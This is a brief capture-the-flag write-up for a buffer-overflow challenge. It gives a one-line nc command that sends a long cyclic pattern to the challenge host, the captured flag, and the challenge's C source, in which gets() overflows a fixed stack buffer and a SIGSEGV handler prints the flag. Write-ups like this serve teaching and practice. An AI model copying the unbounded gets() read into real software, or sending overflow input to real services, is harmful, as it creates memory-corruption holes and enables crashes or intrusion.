Tags: bof 

Rating:

```
(cyclic 10000; cat) | nc challenge.ctf.games 30054
How many bytes does it take to overflow this buffer?
flag{72d8784a5da3a8f56d2106c12dbab989}
```

In `main`, `gets` can overflow and smash the stack. However, the `handler` will give you the flag on SIGSEGV (stack smash). So, just smash the stack.

From the source:

```
void handler(int sig) {
if (sig == SIGSEGV)
give_flag();
}

int main() {
char buffer[0x200];

setbuf(stdout, NULL);
setbuf(stdin, NULL);

signal(SIGSEGV, handler);

puts("How many bytes does it take to overflow this buffer?");
gets(buffer);

return 0;
}
```